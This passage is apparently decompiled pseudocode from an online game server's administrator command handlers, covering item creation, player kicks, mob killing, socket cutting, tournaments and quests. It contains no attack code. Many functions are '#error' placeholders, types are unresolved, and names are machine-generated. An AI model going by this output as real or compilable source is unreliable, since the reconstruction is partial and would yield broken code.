AmpersandCommand::ac_Timer(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 __int16 v6; // ax@1 char *v7; // ecx@3 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@3 int v9; // [sp+1Ch] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_Timer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_Timer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; v6 = AmpersandCommand::ac_Scanf(v5, (char *)arg); if ( v6 ) { v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2064; v7[2] = 1; *(_WORD *)(v7 + 3) = v6; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); LOBYTE(v9) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)sp, (int)&alchat, 1); LOBYTE(v9) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } else { AmpersandCommand::ac_wall(v5, sp, "sec needed"); } --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_Timer"); } //----- (00411FB0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_GuildCollectClear(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_GuildCollectClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_GuildCollectClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_GuildCollectClear"); } //----- (00412000) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_GuildCollectSet(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_GuildCollectSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_GuildCollectSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_GuildCollectSet"); } //----- (00412050) -------------------------------------------------------- #error "412050: undefined or illegal type '#748' (funcsize=105)" //----- (004121E0) -------------------------------------------------------- #error "4121E0: undefined or illegal type '#440' (funcsize=50)" //----- (004122D0) -------------------------------------------------------- #error "4122D0: undefined or illegal type '#331' (funcsize=44)" //----- (00412390) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_OXBlock(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 char v6; // al@1 bool v7; // zf@1 signed int v8; // esi@2 int (__stdcall **alda)(int, int, int); // [sp+8h] [bp-18h]@5 unsigned int *v10; // [sp+Ch] [bp-14h]@5 int v11; // [sp+10h] [bp-10h]@5 int v12; // [sp+1Ch] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[4].mts_EnemyAnalyzer.baseclass_0.io_Pointer); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[4].mts_EnemyAnalyzer.baseclass_0.io_Pointer; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = (*arg)[0]; v7 = (*arg)[0] == 79; v12 = 0; if ( v7 ) { v8 = 1; } else { if ( v6 != 67 ) { AmpersandCommand::ac_wall(v5, sp, (char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[3].mts_LastHit); goto LABEL_7; } v8 = 0; } AxialListIterator::AxialListIterator((AxialListIterator *)&alda); alda = &AxialListDoorAction::_vftable_; v10 = &stru_598DE4.maa_TargetSelect.targetlist.mam_Array[4].mts_LastHit; v11 = v8; LOBYTE(v12) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)sp, (int)&alda, 0); LOBYTE(v12) = 0; alda = &AxialListDoorAction::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alda); LABEL_7: --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[4].mts_EnemyAnalyzer.baseclass_0.io_Pointer); } // 59875C: using guessed type int (__stdcall *AxialListDoorAction___vftable_)(int, int, int distancesquar); //----- (004124A0) -------------------------------------------------------- #error "4124A0: undefined or illegal type '#440' (funcsize=148)" //----- (004126F0) -------------------------------------------------------- #error "4126F0: undefined or illegal type '#440' (funcsize=184)" //----- (004129A0) -------------------------------------------------------- #error "4129A0: undefined or illegal type '#440' (funcsize=95)" //----- (00412AC0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_MakeItem(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 int v6; // ST10_4@1 CServerInfo::MY_SERVER *v7; // eax@1 unsigned int v8; // eax@1 int v9; // edi@3 ItemAttributeClass *v10; // esi@7 signed int v11; // ebp@7 char *v12; // ebx@7 int v13; // edx@11 unsigned __int16 v14; // cx@13 int v15; // edx@15 ItemRandomOption::RandomOptionDatum *v16; // edi@17 ItemOptionStorage *v17; // eax@17 char *v18; // [sp+10h] [bp-B8h]@4 char iti; // [sp+28h] [bp-A0h]@1 __int16 v20; // [sp+30h] [bp-98h]@3 char buffer[32]; // [sp+98h] [bp-30h]@7 unsigned int v22; // [sp+B8h] [bp-10h]@22 int v23; // [sp+C4h] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_598DE4.maa_TargetSelect.aggresive.mta_InstanceTarget); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_598DE4.maa_TargetSelect.aggresive.mta_InstanceTarget; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v23 = 0; v6 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v7 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&iti, 0, v7->nZoneNo, v6); v8 = BTree::operator__(&stru_12510618, (const char *)arg); if ( v8 == -1 ) LOWORD(v8) = -1; v9 = (unsigned __int16)v8; v20 = v8; if ( ItemDataBox::operator__(&itemdatabox, v8) ) { if ( ItemDataBox::operator__(&itemdatabox, v9)->data ) { v10 = ItemAttributeClassContainer::operator__(&itmattcontainer, v9); v10->vfptr->iac_itemcreate( v10, v9, (ItemTotalInformation *)&iti, (char *)&stru_598DE4.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); sprintf(buffer, (const char *)&stru_598DE4.maa_TargetSelect.bout.mtb_targetlist); v10->vfptr->iac_itemcreate(v10, v9, (ItemTotalInformation *)&iti, buffer); v11 = 1; v12 = &(*arg)[33]; do { if ( *v12 != 45 ) break; v10->vfptr->iac_itemcreate(v10, v9, (ItemTotalInformation *)&iti, v12); ++v11; v12 += 33; } while ( v11 < 12 ); if ( (unsigned int)(unsigned __int16)v9 < *(_DWORD *)word_12510614 ) { v13 = unk_12510DB0 + 24 * (unsigned __int16)v9; if ( v13 ) { if ( *(_DWORD *)v13 ) { v14 = **(_WORD **)v13; if ( v14 == (_WORD)v9 ) { v15 = *(_DWORD *)(v13 + 4); if ( v15 ) { if ( v15 != -146 ) { v16 = ItemRandomOption::RandomOptionTable::operator__(&itemrandomoptiontable, (char *)(v15 + 146)); v17 = v10->vfptr->iac_GetItemOptionStruct(v10, (SHINE_ITEM_STRUCT *)&v20); if ( v16 ) { if ( v17 ) ItemRandomOption::RandomOptionTable::rot_FillOption(&itemrandomoptiontable, v17, v16); } } } } else { AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", v14 + 10000 * (unsigned __int16)v9); } } } } ShineObjectClass::ShinePlayer::sp_MakeItem((void *)sp, handle, (int)&iti); } else { AmpersandCommand::ac_wall( v5, sp, (char *)&stru_598DE4.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current.distsquar); } v18 = (char *)&stru_598DE4.maa_TargetSelect.aggresive.mta_InstanceTarget; } else { v18 = (char *)&stru_598DE4.maa_TargetSelect.aggresive.mta_InstanceTarget; } --funcallanalizer.fca_stackpoint; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v18); __security_check_cookie(v22); } //----- (00412D30) -------------------------------------------------------- #error "412D30: undefined or illegal type '#440' (funcsize=36)" //----- (00412DE0) -------------------------------------------------------- #error "412DE0: undefined or illegal type '#440' (funcsize=136)" //----- (00412FD0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_questrecieve(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_598DE4.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_598DE4.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_598DE4.maa_TargetSelect.aggresiveNoLevel.baseclass_0.baseclass_0.baseclass_0.mts_Current); } //----- (00413020) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_questgiveup(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_598DE4.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_LastHit); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_598DE4.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_LastHit; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_598DE4.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_LastHit); } //----- (00413070) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_questcomplete(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_598DE4.maa_MobActionStruct.inmove_chase); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_598DE4.maa_MobActionStruct.inmove_chase; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AmpersandCommand::ac_Scanf(v5, (char *)arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_598DE4.maa_MobActionStruct.inmove_chase); } //----- (00413110) -------------------------------------------------------- #error "413110: undefined or illegal type '#440' (funcsize=70)" //----- (00413230) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_skillcooltime(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_598DE4.maa_MobActionStruct.swingdamage.masd_Next); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_598DE4.maa_MobActionStruct.swingdamage.masd_Next; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_598DE4.maa_MobActionStruct.swingdamage.masd_Next); } //----- (00413280) -------------------------------------------------------- #error "413280: undefined or illegal type '#440' (funcsize=126)" //----- (00413400) -------------------------------------------------------- #error "413400: undefined or illegal type '#440' (funcsize=38)" //----- (004134B0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_performance(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 signed int v6; // eax@1 char buf[64]; // [sp+10h] [bp-50h]@1 unsigned int v8; // [sp+50h] [bp-10h]@3 int v9; // [sp+5Ch] [bp-4h]@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_performance"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_performance"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; PerformanceChecker::pc_loopPERsecond(&performancechech); sprintf(buf, "Main performance : %g loop/sec"); AmpersandCommand::ac_wall(v5, sp, buf); v6 = 10; if ( (*arg)[0] ) v6 = AmpersandCommand::ac_Scanf(v5, (char *)arg); FunctionProfiler::PerformanceRecorder::pr_SetCount(&_PerformanceRecorder, v6); --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_performance"); __security_check_cookie(v8); } //----- (004135B0) -------------------------------------------------------- #error "4135B0: undefined or illegal type '#440' (funcsize=58)" //----- (004136A0) -------------------------------------------------------- #error "4136A0: undefined or illegal type '#440' (funcsize=46)" //----- (00413780) -------------------------------------------------------- #error "413780: undefined or illegal type '#440' (funcsize=58)" //----- (00413870) -------------------------------------------------------- #error "413870: undefined or illegal type '#440' (funcsize=31)" //----- (00413910) -------------------------------------------------------- #error "413910: undefined or illegal type '#440' (funcsize=95)" //----- (00413A80) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_KickOutPlayer(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { char *v5; // esi@1 char *v6; // eax@1 char *v7; // ST00_4@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_KickOutPlayer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_KickOutPlayer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; v6 = gpp.pp_Buffer + 10; v7 = gpp.pp_Buffer + 10; *(_DWORD *)(gpp.pp_Buffer + 22) = 0; *((_DWORD *)v6 + 2) = 0; *((_DWORD *)v6 + 1) = 0; *(_DWORD *)v6 = 0; strncpy(v7, (const char *)arg, 0x10u); ZoneRingPacketKickPlayerOut::zrpb_Request(&zonringpack_kickplayerout, (#331 *)sp, (NETCOMMAND *)v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_KickOutPlayer"); } //----- (00413B40) -------------------------------------------------------- #error "413B40: undefined or illegal type '#440' (funcsize=45)" //----- (00413C00) -------------------------------------------------------- #error "413C00: undefined or illegal type '#440' (funcsize=61)" //----- (00413CE0) -------------------------------------------------------- #error "413CE0: undefined or illegal type '#440' (funcsize=78)" //----- (00413DE0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_MobDistribute(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_MobDistribute"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_MobDistribute"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_MobDistribute((void *)sp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_MobDistribute"); } //----- (00413E80) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ChargedItem(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 int v6; // eax@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ChargedItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ChargedItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = AmpersandCommand::ac_Scanf(v5, (char *)arg); ShineObjectClass::ShinePlayer::sp_ChargedItemTest((void *)sp, v6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ChargedItem"); } //----- (00413F30) -------------------------------------------------------- void __thiscall PROTO_KQ_INFO::_PROTO_KQ_INFO(PROTO_KQ_INFO *this) { _eh_vector_destructor_iterator_( this->MapLink, 0x1Au, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00413F50) -------------------------------------------------------- void __thiscall KingdomQuest::KQElement::KQElementMap::KQElementMap(KingdomQuest::KQElement::KQElementMap *this) { PROTO_KQ_MAP_INFO::PROTO_KQ_MAP_INFO(&this->mapinfo); } //----- (00413F60) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_killallmob(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_killallmob"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_killallmob"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_KillAllMob((void *)sp); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_killallmob"); } //----- (00414000) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_mobdamage(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_mobdamage"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_mobdamage"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMob::sm_DamageSet( sp, (char *)arg, &(*arg)[33], &(*arg)[66], &(*arg)[99], &(*arg)[132], &(*arg)[165], &(*arg)[198], &(*arg)[231], &(*arg)[264], &(*arg)[297]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_mobdamage"); } //----- (004140E0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_SuicideAllMob(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { AxialListMobSuicide alms; // [sp+4h] [bp-14h]@1 int v6; // [sp+14h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_SuicideAllMob"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_SuicideAllMob"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; AxialListIterator::AxialListIterator(&alms.baseclass_0); alms.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; alms.alms_MobID = -1; LOBYTE(v6) = 1; ShineObjectClass::ShineObject::so_AllInMap((void *)sp, (int)&alms, 0); LOBYTE(v6) = 0; alms.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alms); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_SuicideAllMob"); } // 5986E4: using guessed type int (__thiscall *AxialListMobSuicide___vftable_)(AxialListMobSuicide *this, int, #331 *obj, int distancesquar); //----- (004141B0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ServerSocketCut(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 int v6; // eax@1 int v7; // eax@4 int v8; // eax@7 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ServerSocketCut"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ServerSocketCut"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = AmpersandCommand::ac_Scanf(v5, (char *)arg); if ( v6 >= 0 && v6 < 4 ) sock2gameDB.sb_SocketStr[v6].socket.baseclass_0.m_Status = 3; v7 = AmpersandCommand::ac_Scanf(v5, (char *)arg); if ( v7 >= 0 && v7 < 4 ) sock2gamelog.sb_SocketStr[v7].socket.baseclass_0.m_Status = 3; v8 = AmpersandCommand::ac_Scanf(v5, (char *)arg); if ( v8 >= 0 && v8 < 4 ) *((_DWORD *)&stru_1250E924.baseclass_0.m_Status + 66 * v8) = 3; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ServerSocketCut"); } //----- (004142B0) -------------------------------------------------------- #error "4142B0: undefined or illegal type '#592' (funcsize=57)" //----- (004143A0) -------------------------------------------------------- #error "4143A0: undefined or illegal type '#440' (funcsize=44)" //----- (00414480) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_GuildTournament(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 FieldOption::FieldAttr *v6; // eax@1 unsigned int v7; // ecx@2 char *v8; // ecx@2 unsigned int v9; // eax@2 PROTO_NC_GUILD_TOURNAMENT_START_CMD start; // [sp+Ch] [bp-9Ch]@7 FunctionEntarance _; // [sp+20h] [bp-88h]@1 char mapname[9]; // [sp+24h] [bp-84h]@1 NPCManager::LinkInformTemplete lnkinf; // [sp+30h] [bp-78h]@1 unsigned int v14; // [sp+98h] [bp-10h]@8 int v15; // [sp+A4h] [bp-4h]@1 v5 = this; _.fe_FunctionCode = "AmpersandCommand::ac_GuildTournament"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_GuildTournament"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_GuildTournament"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; strcpy(mapname, "GuildT01"); v15 = 0; strncpy(lnkinf.linktoserver, mapname, 0xCu); lnkinf.linktoserver[12] = 0; v6 = FieldOption::fo_GetFieldAttr(&::this, mapname); if ( !v6 ) goto LABEL_11; v7 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v7; v8 = (char *)&namestring + 256 * v7; *(_DWORD *)v8 = *(_DWORD *)&v6->mapidclient.n3_name[0]; *((_DWORD *)v8 + 1) = *(_DWORD *)&v6->mapidclient.n3_name[4]; *((_DWORD *)v8 + 2) = *(_DWORD *)&v6->mapidclient.n3_name[8]; v8[12] = 0; v9 = BTree::operator__(&mapdatabox.mdb_btree, v8); if ( v9 == -1 ) LOWORD(v9) = -1; v9 = (unsigned __int16)v9; if ( (unsigned __int16)v9 < mapdatabox.mdb_maxmapid && mapdatabox.mdb_index[v9] ) { start.nExploerTimeMin = 1; start.nNo2 = 1; start.nTournamentSeed = 0; start.nTournamentMapNo = 0; start.nWaitPlayTimeSec = 30; start.nPlayTimeMin = 60; start.nNo1 = 4; WorldManagerSession::wms_GuildTournamantStart(&stru_1250E924, &start); } else { LABEL_11: AmpersandCommand::ac_wall(v5, sp, "Invalid map name"); } --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_GuildTournament"); __security_check_cookie(v14); } //----- (00414630) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_EndOfKingdomQuest(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // esi@1 int v6; // eax@1 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_EndOfKingdomQuest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_EndOfKingdomQuest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = AmpersandCommand::ac_Scanf(v5, (char *)arg); WorldManagerSession::wms_EndOfKQPacket(&stru_1250E924, v6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_EndOfKingdomQuest"); } //----- (004146E0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ReroadKingdomQuest(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { AmpersandCommand *v5; // edi@1 int scriptid; // [sp+8h] [bp-38h]@1 FunctionEntarance _; // [sp+Ch] [bp-34h]@1 char namebuf[32]; // [sp+10h] [bp-30h]@1 unsigned int v9; // [sp+30h] [bp-10h]@4 int v10; // [sp+3Ch] [bp-4h]@1 v5 = this; _.fe_FunctionCode = "AmpersandCommand::ac_ReroadKingdomQuest"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_ReroadKingdomQuest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_ReroadKingdomQuest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; strncpy(namebuf, (const char *)arg, 0x20u); if ( ScenarioBookShelf::sbs_GetScript(&scenarioshelf, namebuf, &scriptid) ) ScenarioBookShelf::sbsReLoad(&scenarioshelf, (const char *)arg); else AmpersandCommand::ac_wall(v5, sp, "Invalid Script"); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_ReroadKingdomQuest"); __security_check_cookie(v9); } //----- (004147D0) -------------------------------------------------------- #error "4147D0: undefined or illegal type '#440' (funcsize=20)" //----- (00414840) -------------------------------------------------------- #error "414840: undefined or illegal type '#440' (funcsize=26)" //----- (004148D0) -------------------------------------------------------- #error "4148D0: undefined or illegal type '#440' (funcsize=34)" //----- (00414980) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_EnterMiniHouse(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_EnterMiniHouse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_EnterMiniHouse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_EnterMiniHouse"); } //----- (004149D0) -------------------------------------------------------- #error "4149D0: undefined or illegal type '#440' (funcsize=34)" //----- (00414A80) -------------------------------------------------------- #error "414A80: undefined or illegal type '#331' (funcsize=63)" //----- (00414B80) -------------------------------------------------------- #error "414B80: undefined or illegal type '#440' (funcsize=80)" //----- (00414CB0) -------------------------------------------------------- #error "414CB0: undefined or illegal type '#440' (funcsize=80)" //----- (00414DE0) -------------------------------------------------------- #error "414DE0: undefined or illegal type '#440' (funcsize=55)" //----- (00414EF0) -------------------------------------------------------- #error "414EF0: undefined or illegal type '#440' (funcsize=48)" //----- (00414FC0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_PartyInform(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]) { void *v5; // eax@1 Name4 chrid; // [sp+8h] [bp-20h]@1 int v7; // [sp+20h] [bp-8h]@3 int v8; // [sp+24h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AmpersandCommand::ac_PartyInform"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AmpersandCommand::ac_PartyInform"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; *(_QWORD *)&chrid.n4_name[8] = 0i64; *(_QWORD *)&chrid.n4_name[0] = 0i64; strncpy(chrid.n4_name, (const char *)arg, 0x10u); v5 = (void *)ShineObjectManager::som_FindPlayer(&shineobjmanager, &chrid); if ( !v5 ) v5 = (void *)sp; (*(void (__thiscall **)(void *))(*(_DWORD *)v5 + 1364))(v5); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AmpersandCommand::ac_PartyInform"); __security_check_cookie(*(unsigned int *)&chrid.n4_name[12]); } //----- (004150B0) -------------------------------------------------------- void __thiscall AmpersandCommand::ac_ParameterView(AmpersandCommand *this, unsigned __int16 handle, #440 